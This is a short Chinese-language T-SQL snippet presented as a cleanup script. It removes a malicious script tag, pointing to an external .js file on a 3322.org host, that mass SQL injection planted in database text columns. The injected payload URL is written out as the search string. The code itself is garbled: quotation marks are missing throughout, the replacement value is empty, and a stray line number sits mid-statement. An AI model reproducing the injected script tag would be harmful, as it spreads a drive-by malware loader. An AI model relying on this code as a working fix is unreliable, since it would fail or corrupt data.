解析:清除SQL被注入恶意病毒代码的语句

declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for select a.name,b.name
from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype=u and c.name
in (char, nchar, nvarchar, varchar,text,ntext)
declare @str varchar(500),@str2 varchar(500)
set @str=<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></mce:script>/*要替换的内容*/
set @str2=
open table_cursor
fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin exec(update [ + @t + ] set [ + @c + ]=replace(cast([ + @c + ] as varchar(8000)),+@str+,+ @str2 +))
fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor